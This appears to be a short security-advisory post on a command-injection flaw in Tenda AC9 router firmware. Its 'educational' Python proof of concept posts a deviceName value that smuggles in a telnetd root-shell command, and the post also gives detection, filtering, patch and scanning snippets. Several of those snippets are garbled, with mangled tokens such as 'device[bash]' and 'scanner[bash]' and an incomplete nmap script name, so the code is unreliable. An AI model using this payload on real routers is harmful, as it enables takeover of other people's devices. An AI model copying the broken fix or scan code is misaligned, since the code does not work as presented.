Listen to this Post
How CVE-2025-44872 Works
The vulnerability exists in Tenda AC9 firmware version V15.03.06.42_multi within the `formsetUsbUnload` function. Attackers can exploit improper input sanitization of the `deviceName` parameter to inject OS commands. When malicious payloads containing shell metacharacters (like ;
, |
, or &
) are sent via crafted HTTP requests, the router executes them with root privileges. This occurs because the firmware passes user-controlled input directly to system() calls without validation, enabling complete device compromise.
DailyCVE Form
Platform: Tenda AC9
Version: V15.03.06.42_multi
Vulnerability: Command Injection
Severity: Critical
Date: 2025-05-27
Prediction: Patch by 2025-06-30
What Undercode Say:
Exploit PoC (Educational Purposes Only) import requests target = "http://192.168.0.1/goform/setUsbUnload" payload = {"deviceName": ";telnetd -l /bin/sh"} requests.post(target, data=payload)
Detection Command curl -sI http://$ROUTER_IP | grep "Server: Tenda AC9/V15.03.06.42"
Mitigation Workaround from flask import Flask, request app = Flask(<strong>name</strong>) @app.route('/usb_unload', methods=['POST']) def sanitize_input(): device = request.form.get('deviceName') if any(c in device for c in [';','|','&','$']): return "Invalid input", 400 Safe processing continues
Network Protection location /goform/ { limit_req zone=one burst=5; deny all; }
Firmware Verification openssl dgst -sha256 AC9_V15.03.06.44.bin | grep ^SHA256
// Patch Example void formsetUsbUnload() { char device[bash]; sanitize_input(deviceName, device); // New validation snprintf(cmd, sizeof(cmd), "umount %s", device); system(cmd); }
Post-Exploit Detection grep -r "system(" ./binary | grep -i "deviceName"
Automated Scanning import nmap scanner = nmap.PortScanner() scanner.scan('192.168.1.0/24', arguments='-p80 --script http-') for host in scanner.all_hosts(): if "Tenda AC9" in scanner[bash]['tcp'][bash]['script']['http-']: print(f"Vulnerable device: {host}")
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode